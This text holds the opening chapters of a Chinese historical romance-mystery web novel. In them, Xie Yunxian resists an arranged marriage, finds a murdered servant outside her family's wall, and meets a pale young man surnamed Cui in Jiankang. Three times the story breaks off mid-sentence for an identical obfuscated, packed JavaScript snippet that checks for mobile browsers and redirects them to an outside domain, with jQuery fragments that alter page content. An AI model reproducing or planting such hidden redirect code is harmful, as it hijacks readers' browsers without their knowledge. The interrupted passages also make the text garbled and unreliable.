《春不瞒》 1. 媒妁言 冬雪消融,天色初霁。暮冬将逝,绿意初显,天气渐暖。 酒楼里人来人往,绫罗竞相,红男绿女,欢声笑语,好不热闹。 一个腆着大肚子,圆头大耳的肥壮男子迈着大步,裹挟着一阵冷气,气势汹汹闯入酒楼。 众人见了,纷纷停箸,偷偷斜眼瞄他,交头接耳。 “哟,这张公子又来了?” “奔谁来的,你还不清楚?” “他还没死心呢?啧啧。我听闻谢崔二家联姻,那谢二姑娘要嫁崔家去了。” “此事当真?” “那能有假?据说还是圣上的旨意。崔家人都奔益州来了,不论谢二姑娘嫁给崔家的谁,也不可能嫁给张……” 张满田冷眼扫过,那人蓦地止了话。 张满田操着粗大的嗓门问:“谢二姑娘在哪?” 一旁的小二奉承道:“在楼上,张公子,来,我带您去——” 这张满田乃益州富商张伦之子,财大气粗,贪恋酒色,生如天蓬元帅,却看上了貌美若嫦娥的谢二姑娘,对她穷追不舍。明人眼里都能看出来,这就是癞蛤蟆想吃天鹅肉,谢二姑娘能答应才怪了! 如今崔家上门提亲,谢二姑娘更不可能跟他在一起了,张满田竟还不死心。 在众人看热闹的目光中,张满田随小二上了楼,敲响了雅间的门。 “谢二姑娘,张公子找您。” 静了一会,里头才应道:“请进。” 张满田忙不迭冲了进去,动作粗莽,险些撞翻案上的花瓶,闹出“砰”的一声,打破了清净。 屋内响起一声嗔怪:“张公子还真会扰人清静啊。” 张满田一看是谢二姑娘的贴身婢女荷华,当即冷下脸:“呵,那里轮得到你个小婢说话!” “张公子今日火气大得很呢。” 屏风后立着一个凭栏远眺的倩影,目光悠长地望向城西方向。 “哎呀!”张满田满脸堆笑,绕过屏风,直奔那身影而去。 “二姑娘,我是担心你,故说话急了些!” 闻言,女子悠然转过身,冲他抬眸浅笑。 女子削肩细腰,身着豆青色多折裥裙,裙长曳地,打扮清新明丽,莹润的脸上带着明亮的笑意,举手投足间透着一股温婉动人的劲儿。 此人便是谢府二姑娘——谢云闲。 传闻谢二姑娘淑慧端庄,温柔儒雅,从小熟记三从四德,知书达理,从不做逾矩之事。谢二姑娘在益州声名远扬,不仅被张满田惦记,还被许多公子牵挂。 “荷华,倒茶。”谢云闲吩咐道,“张公子,坐吧。” “哎,好,好!” 张满田想贴着谢云闲坐下,谢云闲却一拢袖子,侧身躲开了。 “二姑娘……”张满田伸手要去拉谢云闲的袖子。 “张公子有话便说,动手动脚做什么。” “你过来,我细细跟你说……” 谢云闲长眉一挑,“那看来张公子没什么要说的了,荷华,送客——” 磨磨蹭蹭倒着茶的荷华喜笑颜开,登时应道:“好嘞!” 张满田急红了脸,忙道:“不,不不——我不动了,你别生气!” 谢云闲柔柔笑道:“我哪能生张公子的气,说吧。” 她身子却不动神色地转了一圈,走到了张满田对面,与其相隔一个桌子。 张满田满脸讨好的赔笑,“是是是。” 谢云闲此人喜怒不形于色,为人处世滴水不露,对所有人都是同等的彬彬有礼,无人能从她那淡淡笑意中摸透半分真心。 因此益州百姓常笑言,这谢二姑娘的心是天底下最深的湖,波澜不惊,一颗石子投进去,立刻沉了底。 张满田心中对其还是有几分琢磨不透的忌惮的,他搓着粗肥的手指,“那个……谢二姑娘……” “张公子有事直说罢。” 张满田语出惊人:“你、你跟我走吧!” “……你认真的?” “千真万确!”张满田激动地站起来,猛拍胸脯保证道:“云闲,你跟我走,我定会好好待你!” “我好端端的,为何要跟你走?” “你别瞒我了!我都知道了!我让人去打听了,那个叫崔、崔什么来着,哦,崔灵景,他就是个病秧子,没啥本事,你嫁给过去,必受欺负,你不如跟我走!” “我有的是银子,无论我们去哪,我绝不会亏待你!你别嫁给那崔家的!云闲,你嫁给我……” 张满田激愤得唾沫乱飞,谢云闲一边微笑着往后仰,一边打断道:“行……” 张满田两眼冒光:“你答应了?” “你要我跟你走可以,不过我有个条件。” “你要什么?我全都给你!我……” “不需要你给我什么,只要你能帮我解个谜。” 张满田瞬时没声了。 “怎么?张公子不愿意?”谢云闲笑道,“母亲生前给我留下了一道谜题,我曾暗自发誓,谁能解出,我便嫁谁。张公子若能在半柱香内,解出这道迷,我便答应你。” “这,我,那个,呃……”张满田快把头挠破了,咬牙一口应下:“行!” 谢云闲看荷华一眼,荷华了然,递上一副棋盘,谢云闲开始摆放棋子。 张满田在一旁盯着,脸色一会青一会白,心如无底洞,慌得不行。 这,他可不会下棋啊! “好了,张公子,请吧。”谢云闲停下手中的动作,微微笑道。 张满田擦擦额角的虚汗,磕磕绊绊道:“好、好。” 谢云闲难得松了口,他只有这一次机会。 可他一看这黑黑白白的玩意,就两眼一黑,汗如雨下。 实在看不明白,他便冲几个随从吼道:“喂!你们几个!” “公子……” “你!还有你!都过来看看这是什么谜!谁要是解不出来,今日回去挨板子!” 一众随从倒吸一口凉气,敢怒不敢言。 “……” 谢云闲本意是让张满田退怯,无意牵连他人,便笑道:“若您的随从解出来了,按理说,我就该嫁给您的随从了。” 这话把张满田吓了一跳,赶紧将一圈人赶走了,自己焦头烂额,盯着棋子发昏。 半柱香将尽,张满田一扬手,将棋盘掀翻了。 张满田恶劣本性爆发,“它翻了,也算解了!谢二姑娘你就跟我走吧!” “张公子这是要耍赖?”谢云闲唇边的笑意淡了些。 张满田冲谢云闲扑来,谢云闲转身就走,张满田扭着肥胖的身子穷追不舍。 “姑娘!” 荷华拦在张满田面前。 “来人!” 张满田的仆从受命,两步上前将荷华拉开。 “救命啊救命——唔!”荷华喊了几声就被捂住了嘴。 谢云闲被追至角落,不下心撞翻了灯台,灯油顷刻流了出来。 张满田踏上两级台阶,双臂展开,作势要扑上去抱住她,却脚下一滑,摔了个四脚朝天,还从台阶上滚了下去。 “公子!” 那几个仆从松开荷华,忙去扶他。 “哎呀,张公子没事吧?”谢云闲站着不动,嘴上关心道,“怎么这么不小心?” 仆从扶着张满田坐下,谢云闲走过去,倒了杯茶,温声道:“张公子摔哪了?要不喝口茶缓缓?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883544|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 张满田见谢云闲这般关心自己,一时忘了疼,笑容满面,抬起胳膊去接。 谁料谢云闲手一抖,茶水全倒他下巴上了。 这茶是荷华刚沏好的,还冒着热气,把张满田烫得尖叫。 “啊,张公子,没、没事吧?烫不烫?疼不疼?” “……”张满田痛得龇牙咧嘴说不出话来。 谢云闲慌得手忙脚乱,满脸紧张:“你们赶紧送张公子去医馆看看,可别落下病来。” “是。”几个仆从赶紧左右抬着张满田的胳膊,将人给架走了。 不多时,楼下就发出一阵哄笑。 张霸王又在谢二姑娘那碰了壁,可真是喜闻乐见! …… 屋内一团凌乱,谢云闲的兴致也给败没了。 荷华将地上棋子收起来,松了口气:“终于走了。” 方才还笑意盈盈的谢云闲仿若换了副面孔,冷哼道:“他再不走,还得吃苦头。” “姑娘,这么做没事吧?” 荷华跟着谢云闲这么多年,哪能不知道,这都是谢云闲故意的。 “没事,他这回吃了苦头,能安分好几天。” “没想到他今日竟是为您的婚事而来……姑娘,您真的要嫁给那位崔四公子吗?” “我连他长什么样都不知,我为何要嫁给一个素未谋面的人?” “可这崔家人纳了采,问了名,纳了吉,下一步不就要行聘了吗?” 谢云闲陡然起身,“不行……我才不嫁去建康,我要去找阿爹!” - 几百年来,世族门阀权势盛大,以谢、关两家为最,一文一武,权倾朝野,名满天下。谢家子弟文才过人,辅佐帝王功业,成就显著;关家子弟金戈铁马,战于沙场,为帝王护佑广阔疆土。 世族权势过大,先帝在世时便十分忌惮,有意削藩集权。孝帝即位后,明目张胆翦除权臣,打击士族门阀,重用以崔氏为主的寒门,以牵制世族门阀。然而多疑如孝帝,仍是放心不下,便有意让谢崔二家联姻,二者相互牵制,以稳固政权。 谢云闲的父亲谢睿虽为谢家嫡出,却低调为人,不慕名利。 七年前,谢云闲同胞姐姐谢微芳病逝,谢睿悲不自胜,便举家搬至益州,远离名利场,过上了斗草簪花的安稳日子。 而今不知怎的,孝帝突然挂念起益州谢家两个女儿尚未婚嫁,有意牵头与崔家的婚事。 元宵未过,崔家便请媒人来提亲,问了名,取走了谢云闲的生辰八字。 谢云闲款款踏入谢睿的书房,声音细软婉转,“阿爹。” 谢睿放下书卷,眉头舒展,看向她:“霄儿,你怎么来了?” 谢云闲小名谢霄,亲近之人都喊她霄儿。 她走过去给谢睿轻轻捏着肩膀,试探道:“阿爹,崔家的人怎么说呀?” “还没有消息,”谢睿看出她的心思,“怎么了,霄儿想跟我说什么?” 谢云闲柔声撒娇:“建康离益州那么远,我要是嫁给崔四公子,这一年半载都见不到阿爹,我舍不得……” 谢睿摇头叹息:“阿爹就你和兰儿两个女儿,无论崔家把你们哪个带回建康,阿爹心中也是万般不舍啊。可你们终究要嫁人的。崔家如日中天,以后若出了什么事,有能力庇佑你……你比兰儿听话懂事,年纪又相符,只能委屈你了。” “阿爹,我不需要崔家的庇护,我安安分分陪着您就好了。”谢云闲道,“此事没有回旋的余地了吗?” 父母之命,媒妁之言,谢云闲却从未想过这样的事会发生在自己身上。 谢睿未答话,只听门外传来一声:“郎主。” “崔家的人来了。” 2. 墙下尸 说曹操曹操到。 崔家的人来得太快,谢云闲还未想好对策。 也不知他们急什么。 但人都来了,谢云闲只好随谢睿去见他们。这回崔家来了许多人,场面壮阔得谢云闲心头暗道不妙。 陆姨娘和谢兰也来了。 谢兰是陆姨娘的女儿,谢云闲的妹妹,谢家的三姑娘。 谢兰见了谢云闲,真诚地祝福她:“二姐姐,恭喜啊!” 谢云闲无言,只好回以一笑。 谢云闲本以为对方是遣媒人来派个结果,谁知竟连聘礼都送来了。 看样子是要她非嫁不可了。 那媒人道:“谢二姑娘与崔四公子八字相合,十分般配,两家可以放心。” 谢云闲心里头纳闷得不行,面上还得装出得体的笑容。 “那便太好了!”陆姨娘拍手叫好。 谢云闲的母亲白溪,乃谢睿正室,谢云闲的姐姐谢微芳病逝后,她便受寒染了头疾,不久也离世了。陆姨娘原是白溪的侍女,与其一同嫁入谢家,后诞下谢兰和谢家二公子谢观声。 如今白溪不在了,家中便由陆姨娘陆瑞岚掌事。 谢云闲知道陆瑞岚的心思,若她不嫁给崔灵景,指不定谢兰就得嫁给崔灵景。 其实谢云闲也派人打听过了,张满田说得不错,那崔四公子崔灵景确实是个病秧子,身子虚弱,不涉朝政,不在朝廷做官,整日待在家中,了无生气。抛开其他不谈,若让谢云闲嫁给一个这么无趣的人,她不如终生不嫁,也更自由更痛快。 崔家领头的那位,据说是崔四公子的贴身护卫。 谢云闲回过神,听见他道:“崔四公子身体抱恙,无法亲临,便由我代之。公子生性秉善,敦实可靠,二姑娘嫁给公子,谢郎主大可放心。” 崔家对婚娶一事并无过多要求,只希望尽早完婚。 谢云闲还来不及说话,陆瑞岚就道:“依我看,霄儿知书达理,与崔四公子实为般配。” 谢兰努努嘴,“阿娘是嫌我不懂事了?” “你呀你,若能有霄儿半分的明事理,阿娘也不用愁白了头发……” 谢兰红了脸,撒娇道:“阿娘,您就知道在旁人面前说我的不是!” 两人一人唱白脸一人唱红脸,一唱一和,谢云闲当然能看出她们的心思。 谢兰从小娇生惯养,养出了蛮横的性子,若让她嫁给崔灵景,她得一哭二闹三上吊。为了不嫁给崔灵景,她必然会跟陆瑞岚一起,将谢云闲推出去。 谢兰能在人前撒泼打滚,谢云闲却不能。 明明心里头十万个不愿意,在谢睿问一句“霄儿可愿意”时,谢云闲还是只能垂眸答道:“……霄儿无话可说。” - 屋外碧天澄澈,冬雪方化的寒意却弥漫不散。 从前厅回到房中,谢云闲往后一仰,直直倒在榻上,弄散了发髻,也弄皱了外衣,一扫人前的端庄得体。 荷华左右看了看屋外,周围无人,便赶紧锁上了房门。 “这是要我非嫁不可了?”谢云闲愤然道。 脸上笑意尽散,明媚双眸泛着孤冷的光。 温柔贤惠的谢二姑娘不在,此时眼前只有真实性情的谢云闲。 荷华跟着谢云闲近十年,早已清楚她是什么样儿。她习以为常地走上前为她解开髻鬟,免得她不小心被簪子戳到。 “姑娘……” 大门合上,谢云闲顺心顺意做回自己,忿忿道:“我与那崔四公子素昧平生,把两个陌生人绑在一起,能有什么好结果?” “还八字相合呢?谁知道孰真孰假?” “谢崔二家联姻,那去建康谢府找个好姑娘得了,为何非得是我?” 眼见她越说越放肆,荷华被吓得不轻,忙拦道:“好了,姑娘,当心隔墙有耳……” 荷华知她最喜自由,不愿受拘束。如今连婚嫁这样的大事也由他人定夺,心中定然愤懑。 一脑门火气无处发泄,谢云闲恶意揣测道:“荷华,你说那崔四公子这么急着娶妻,是不是不举啊?都说他身子不好,他不会身患恶疾吧?完了完了,我嫁过去,不得当寡妇?” 荷华知她气头上,笑道:“你若真成了寡妇,不必再嫁人,也算自在吧?” “此话有理!” “不过,你也答应了,聘礼也收了,现在如何是好?” “我可没答应!我只是说‘无话可说’。” 谢云闲靠在床边,撑着脑袋,乌黑瞳孔溜溜直转,虽面露愠色,却意外显得俏皮。 “若说办法嘛,倒也有一个……” 荷华眉头一跳。 下一刻,谢云闲脱口而出:“荷华——” “我,要,逃,婚!” …… 谢云闲本就不是个温顺听话的主儿。 谢云闲的同胞姐姐谢微芳,才是真正温婉识体的大家闺秀。可惜姐姐走得早,这名号才落到了谢云闲头上。 谢云闲虽与谢微芳同胞而生,容貌相似,性子却截然不同。她不喜静坐,成天往外跑,连翻墙爬树这般不体面的事都做过。 但谢云闲擅长伪装。 她模仿姐姐的为人处世,装出淑雅模样,骗了许多人。 谢云闲向来说到做到,雷厉风行。她让荷华迅速收拾好行装,等日落山头,就翻墙逃走。 待崔家择定婚期,就来不及了。 夜色阗寂,天高露重,半月挂于枝头,洒落一地皎洁朦胧的月光。 荷华从床底下拖出行囊,扛在肩上。为了出行方便,两人都换上了简便的窄袖短衫。 谢云闲吹灭烛火,房内陷入一片黑暗中,仅剩一片窗牖透着月光。 荷华惴惴不安:“姑娘,万一陛下怪罪下来,可如何是好?” “放心,阿爹胆小诺人,最怕惹事,会处理得不着痕迹。”谢云闲拍拍衣袖,走向那抹唯一的亮光,“再说了,陛下又不是直接指婚我与崔灵景,谢家也并非只有我一人。” “姑娘……” 谢云闲果断道:“走!” 她轻车熟路地从窗口翻了出去,平稳落地。与她相比,荷华的动作就显得迟滞笨拙许多。 后院有一棵粗壮的大树,枝干虬劲,枝繁叶茂,坚硬修长的枝条越过围墙延伸至墙外。若攀着树枝往爬上,便能轻松翻过这堵墙。 墙对面是胡同尽头,小巷诡秘,错综复杂,几乎无人往来,不易被人发觉。 此事对谢云闲容易,对荷华却艰难。 谢云闲攀着树枝,不勉强她,“你从门口出去罢。” “姑娘,我……” 谢云闲知她所想,“放心,我会在对面等你。” “是。”荷华抱着东西,轻手轻脚离开了。 待荷华离开庭院,谢云闲才爬至墙上。陋巷无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883545|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,低头一望,似无底深渊,令人悚然。谢云闲心知围墙不高,估摸过可以直接跳下去,她心一横,一跃而下。 “砰!” 墙下竟有个东西! 谢云闲落地时险些踩到,她被吓了一跳,靠在墙边,僵在原地,不敢动弹。 过了好一会,她察觉那东西毫无动静,似是死物,才稍微松了口气,从袖中掏出火折子。 火光亮起那一刻,她也看清了眼前的“庞然大物”——是个灰色大麻袋,椭圆柱状,内里包裹着的物件形状诡异,裹得严严实实。 这个地方怎么会有一个这样的东西? 荷华还没来,她顾不上了,试探着走上前。 借着火光,谢云闲找到捆着袋口的麻绳,单手利落地将其解开了。她深吸一口气,使上力气,一口气将麻袋扒开。 “呼——” 几乎是同时,谢云闲脚步慌乱地往后撤了一步,险些惊呼出声——麻袋里竟然塞了个人! 脑中如一道春雷乍响,给她炸懵了。 她平缓了一下呼吸,走上前,弯下了腰,将指尖探向那人。 果然……已没了气息。 谢云闲心中惕然。 为何这里会有个死人? “姑娘——” 不远处传来细碎脚步声,另一道亮光出现,逐步朝谢云闲靠近。 荷华走过来,看清眼前一幕,手一抖,谢云闲立时捂住她的嘴,才没让她叫出声来。 荷华声音发颤:“这、这……发生何事了?” 谢云闲沉默不语,将手中火光吹灭。她蹲下身,再次靠近尸体。 “姑娘小心!” “嘘——” 谢云闲稍微缓和了情绪,强忍骇意,凑近尸体,用力将麻袋全数解下,露出了全尸。 谢云闲朝荷华招招手,荷华忙将火光靠近尸体,给她照明。 谢云闲观察尸体,轻声道:“此人有些眼熟。” “姑娘见过?” 谢云闲却摇头:“未曾。只是他这装扮,跟今日来提亲的崔家仆从甚为相似。” “这、这是崔家的小厮?怎么死在这里了?” 谢云闲没接话,抬起死人的下巴看了看,又撬开了他的嘴。 荷华忙道:“姑娘,别脏了手……” “无碍。”谢云闲眉头皱起,朱唇轻启:“此人颈处有勒痕,是被勒死的。勒痕自下至上,说明凶手比他高。齿中存有布屑,生前被人用麻布堵了嘴,应该是怕他呼救引来他人。” 脑中灵光一闪,谢云闲猛地从地上站了起来。 蹲了许久,腿有些麻,她起得急,幸好荷华手疾眼快扶了她一下。 谢云闲道:“荷华,帮我一下。” 荷华不明所以:“怎么了姑娘?” “你将我举起来。” “啊?” 谢云闲不多解释,荷华只好吹灭火光,依言环住了她的腿,拼尽全力助她往上。 荷华在底下,看不见谢云闲在做什么,只能感觉到她的手在墙头左右来回摸索。 “姑、姑娘,好了吗……” 过了一会,黑乎乎的上头应道:“嗯,你松手罢。” 荷华如释重负地松了力气,还不忘扶住谢云闲。 “姑娘看出什么了?” 谢云闲面色肃然,低声道:“此人是从我们院子里被丢出来的。” 3. 初相识 “何以见得?” 谢云闲闭上眼,在脑中复原事发情形。 一个仆从装扮的小贼鬼鬼祟祟来到了谢云闲院子前,发现院中空荡无人,他便闯入房内。 此时另一人突然出现,此人比他高,力气很大,悄无声息靠近小贼,从背后踹了他一脚。 小贼猛跪在台阶或石板上,膝盖处沾了一片灰。 他来不及站起,就被人用麻绳勒住了脖子。对方拖着他,他拼命挣扎,但力气悬殊,整个人都被拎了起来,拖着走了一段路,被拖到一个极为偏僻的角落。因为是被人往后拖,所以布鞋后跟擦着石板留下了白色擦痕。 紧接着,不知发生何事,死者想要呼叫,却被堵住了嘴。 许是逼迫无法,凶手直接将他勒死了。为处理尸体,凶手将死者套入麻袋,举着尸体放到了墙上,用力将麻袋推了下去,所以墙头上才会有一块地方比其他地方少些灰尘。 小贼为何要潜入她的院子?又为何被杀?凶手是何人? 凶手既能出入她院中,必跟谢家有干系。而这小贼,又穿着崔家的服饰…… 不知为何,她脑中浮现白溪生前留下的那盘残棋。 “怎么了?” 沉思许久,谢云闲心下有了判夺,开口道:“荷华,我不走了。” 荷华张大嘴巴:“啊?” “姑娘您可想好了?您自己也说了,今日不走,下次就难了。” 谢云闲叹了口气:“其实阿爹和陆姨娘背地里给我物色了不少门当户对的公子爷,连张家那肥头大耳的油物也算在其中。今日不嫁,明日也是要嫁的。就算不嫁给崔灵景,也要嫁给别的人。嫁给崔灵景,若真成了寡妇,倒也是件好事。” 她无奈地笑了笑,“你当我们真能逃出谢府的搜捕?怕是刚出城,就被逮了……” 即便是富贵名门出身的二姑娘,也有许多身不由己。 荷华不知什么改变了谢云闲的心意,但是—— “不管姑娘如何抉择,荷华都会陪着姑娘。” 出逃也好,成亲也罢。 “嗯。”谢云闲点点头,遗憾道:“今夜算是白折腾了。” “那这具尸体……” 谢云闲道:“竟敢在谢府无声无息杀人,此人必定不简单。阿爹近来为边境纷争所困,疲惫不堪,我们先别声张。” 巷子蜿蜒曲折,两人走了好一段路才走到出口,偷偷从谢府偏门而入。 此时夜已深,府内一片寂静,碧池倒映月色,光影浮动,暗藏玄机。 两人蹑手蹑脚往回走,还未到院门,就碰见一个高大身影迎面走来。 “二妹妹?” 二哥谢观声为益州太守,平日公务繁忙,早出晚归,两人不常见,偏偏这时候遇上了。 躲是躲不过了,谢云闲只好硬着头皮上,换上一副娴静文雅的姿态,欠身行礼道:“二哥哥好。” 谢观声素来沉稳肃穆,少言寡语,他的目光落在两人身上,问:“快到亥时了,二妹妹何故未眠?” 谢云闲故意露出被抓包的羞赧:“不瞒二哥哥,云闲听闻要去建康,感路远迢迢,便想瞒着阿爹拿些小玩意去当了,换些盘缠。不想让人认出,故做此装扮。行至半途,又心不忍,便回来了……让二哥见笑了。” 这谎话张口就来,说得脸不红心不跳。 “原是如此。”谢观声抖抖袖子,沉声道:“二妹妹何必这般拘束?若想要钱,尽管跟陆姨娘提。明日我便差人送些东西来,你尽管收下,到了建康,不要受委屈。” 谢云闲装作喜笑颜开,连忙道谢:“谢二哥。” …… 婚期定在下个月,惊蛰时节。 因路程艰辛遥远,谢云闲提前启程前往建康,荷华随行。 一切恍若一场大梦。 从西到东,船只顺流而下。 二月春风吹杨柳,一路上花光柳影,鸟语溪声不停,见证万物在春日里苏醒,呈现一派生机。 光阴似水,谢云闲转眼便从山高谷深的益州,到了细雨微风的江南。 江南风光甚好。晴光潋滟,烟柳如画,满街杏花落入秦淮河,采莲少女成群泛舟高歌而过。街巷交错,柳絮烟雨里人影绰绰,吆喝不止。 时隔六年,再次踏入建康,谢云闲心中感慨颇多,有些恍惚。 谢云闲掀开帘子,望见繁华街景,听见身侧荷华忽然道:“哎,姑娘您看,那边好热闹!” 谢云闲兴高采烈,车马疲倦一扫而空,“哎,停一下!” “这芳歇楼竟然还开着!”谢云闲兴致勃勃道:“荷华,来,我们过去看看!” 谢云闲拉着荷华下了马车,迫不及待往对面芳歇楼走去,将一行人丢在身后。 “姑娘,哎,您慢点!” 芳歇楼是建康远近闻名的酒楼,也是谢云闲儿时在建康最爱去的地方,有她在益州惦念多年的点心。 登上楼阁,俯瞰建康,能赏一片蓬勃春景,每逢春日好时节,在此处登高饮酒、呼朋聚友,最为适宜。 芳歇楼里坐满了人,两人在二楼落座,正好可以一览楼下歌舞与宾客。 谢云闲一口气点了一桌吃食,拉着荷华坐下,让她陪自己一起吃,眉眼里都透着高兴。 楼下式歌式舞,笙歌鼎沸,令人心情舒展。 “姑娘,您看那位公子——”荷华咬着一块桂花糕,忽然道。 一片舞衫歌扇中,一人走了进来,在左侧角落坐下。 谢云闲抿着茶,顺着荷华的话望过去。 那人清冷默然,不为轻歌曼舞所动,在喧闹人群显得格格不入,谢云闲一眼便认出来了。 那人头戴漆纱笼冠,身着天青色大袖宽袍,身姿挺拔端正,举止优雅端正,远望如明月照雪松,出尘不染。 有肤白细腰的舞女上去给他倒茶,他挥挥手,让人退下了。 谢云闲看了两眼,就将目光从那人身上移开了,而是好奇:“楼下为何这般热闹?” 小二来上茶,道:“今日是崔家小公子生辰,其他几家公子为他请了魏国的美人来跳舞。” 崔? 谢云闲起了点兴趣。 她日后是要嫁入崔家的,对崔家多一分了解,也就多一份安心。 天下分裂,北魏南宋各居两端,左面为其他民族所占据。美人罕见,想必大家都过来沾沾喜气,凑凑热闹了。 正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883546|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,楼下就传来一阵欢呼。 “这又是怎么了?” 小二探头看了看,答道:“崔小公子来了。” 哦,原来是今日主角登场了。 谢云闲也好奇这位崔小公子是什么人物,便站了起来,靠着木栏,往楼下看。 只见一位少年在一群人拥簇下,大摇大摆走了进来,活脱脱的街头小霸王样,下巴高抬,斜眼睨人,倨傲神气 “这位小公子叫什么?” “崔净风。” 崔净风正享受着众星捧月的待遇,余光忽然瞥见角落的一个熟悉身影,脸上的笑容瞬间消失了。 他转身大步朝那走去,指着那人愤怒道:“你怎么在这里?” 跟着崔净风的一众富家少爷纷纷啐道:“晦气玩意儿!” “我看他是来找你不快的!” “明知你在,还跑来这儿,一看就是故意的!” “净风,别跟这种人纠缠,赶出去得了!” 被崔净风怒斥,成为众矢之的的那人,正是谢云闲方才看见的那位出尘公子。 “自己收拾东西滚蛋吧!” “喂!不知道这是我们的场子吗?” 舞乐声骤停,一群人将那人围了起来,气氛剑拔弩张,欢愉殆尽。 仅看崔净风的背影,就能看出他人已暴跳如雷。 远远的,谢云闲听见一声清晰的呵令:“你给我滚!” 那位公子方坐下,茶水还未吹凉饮上一口,就被崔净风一干人给赶走了。 这人全程一声不吭,默默受了这无端的怒气。而在座的所有人,无人替他说一句公道话。 谢云闲虽不知发生了何事,但也能猜出个大概,慨叹道:“这位崔小公子可真霸道啊。” 环顾四周,人山人海,已没了空座,那人只好黯然离开。 荷华皱眉道:“那位青衣公子看起来有点惨……” 谢云闲轻笑道:“不如请他上来坐坐。” 荷华:“啊?” …… 楼下笙歌继续,红袖不停,恢复了方才的热闹。几位富贵公子环绕着崔净风,杯盏相碰,笑声连连。 无人注意,两个身影避开人群,从左侧楼梯上了二楼。 “姑娘,人来了。” 荷华将那人带到谢云闲这一桌。 谢云闲循声回眸,见那人对着自己拱手鞠躬道:“不知姑娘找我何事?” 此人嗓音低醇轻缓,宛若穿梭于林间的风,舒畅怡人,沁人心脾。 谢云闲温婉一笑:“我这桌还有两个空座,公子若不嫌弃,可以坐在这里。” 那人愣了一下,而后道:“崔某不嫌,多谢姑娘。” 他在谢云闲对面落座,谢云闲这才看清了他的容貌。其眉眼端正,鼻梁高挺,脸色比常人稍白,板正身子藏于宽袍之下,衬得单薄。 荷华给他倒了杯热茶,又走到谢云闲身侧站着。 她一边不动声色地打量这位陌生公子,一边揣摩着自家姑娘的心思,不知她想做什么。 谢云闲率先开口,巧笑道:“公子如何称呼?” 那人微微一笑,恭敬道:“在下崔皓,幸识姑娘。” 4. 暗潮动 姓崔? 谢云闲眸光一动,在建康,姓崔的,也就那一家了。 竟然这么巧,刚好遇上了崔家人? 不过这崔皓是崔家哪位公子?她倒是不曾听说。 “不知姑娘如何称呼?”崔皓问她。 谢云闲道:“我名谢霄,云霄的霄。” 崔皓问:“可是取自诗句‘寄颜云霄闲’?” 谢云闲一怔。 谢云闲本名与小名,皆取自此诗,可他怎会知道? 她正不知如何接话,崔皓又道:“前几日读诗时,刚好读到这句,姑娘一说,我便想到了,若是猜错了,还望姑娘不要怪我莽撞。” “自然不会。”谢云闲笑道,“不过崔公子这一猜,倒是猜对了。” 她反问:“不知崔公子名字源自何处?” “‘皓天舒白日’,故名崔皓。” “好名字。”谢云闲表面夸着,脑子里飞速运转,心想这崔皓究竟是崔家的哪位人物。 崔皓……崔皓……难道是崔太保哪位远房亲戚? 谢云闲状作无意地试探:“崔公子跟崔小公子似乎有些矛盾?” 崔皓平淡道:“从前与他闹过一些不愉快,没想到今日会在这里撞见他。” 谢云闲用玩笑的语气道:“这位崔小公子也太蛮横不讲理了吧?分明是你先来的,他怎么就把你赶走了?” 你看起来也不生气?还真好脾气啊。 换作是她,左右都得给对方一个爆栗。 凡事都得讲究先来后到吧? 崔皓拳头抵在嘴边轻咳了几声,仍是好脾气道:“今日他是寿星,由他去吧。” “你们都姓崔,应当是一家的吧?” 崔皓轻轻“嗯”了一声,没再多说。 他不想说,谢云闲也不好追问,便转了话头,对荷华道:“哎,要不给崔公子换杯酒吧。” 崔皓却摇头:“多谢姑娘好意,但我近来不得沾酒。” 想起崔皓苍白的脸色和咳嗽,谢云闲问:“崔公子身体抱恙?” “多年痼疾,不必在意。” “初春时候,寒气未退,崔公子要注意身体。” “姑娘也是。”崔皓温和道,“谢姑娘是刚到建康?” 谢云闲好奇:“崔公子如何得知?” 崔皓看着谢云闲笑道:“姑娘有所不知,崔小公子在建康是出了名的小霸王,骄纵淫逸,仗势欺人,臭名昭著,大家都见怪不怪了。且姑娘看起来风尘仆仆,应当是赶了许久路。” 谢云闲赶路多日,刚到建康,还未重新梳妆打扮,一时兴起,就拉着荷华下了马车,进了芳歇楼。 此时经崔皓这么一说,她才后知后觉担心起自己的形象,多了点包袱。 她下意识摸了摸自己的脸,又看了眼荷华,我很脏吗? 荷华憋着笑,腮帮子鼓成河豚。 谢云闲偷偷瞪她,你笑什么? 几缕青丝从发髻中脱落,摇摇晃晃垂于脑后,徒增了点俏皮。 谢云闲此时的装扮算不上精致典雅,却更为洒脱自然。两颊红扑扑的,带上了明艳笑意的柳叶眼,更显明艳水润。 荷华轻笑哄她:“姑娘天生丽质,自然是极其好看的。” 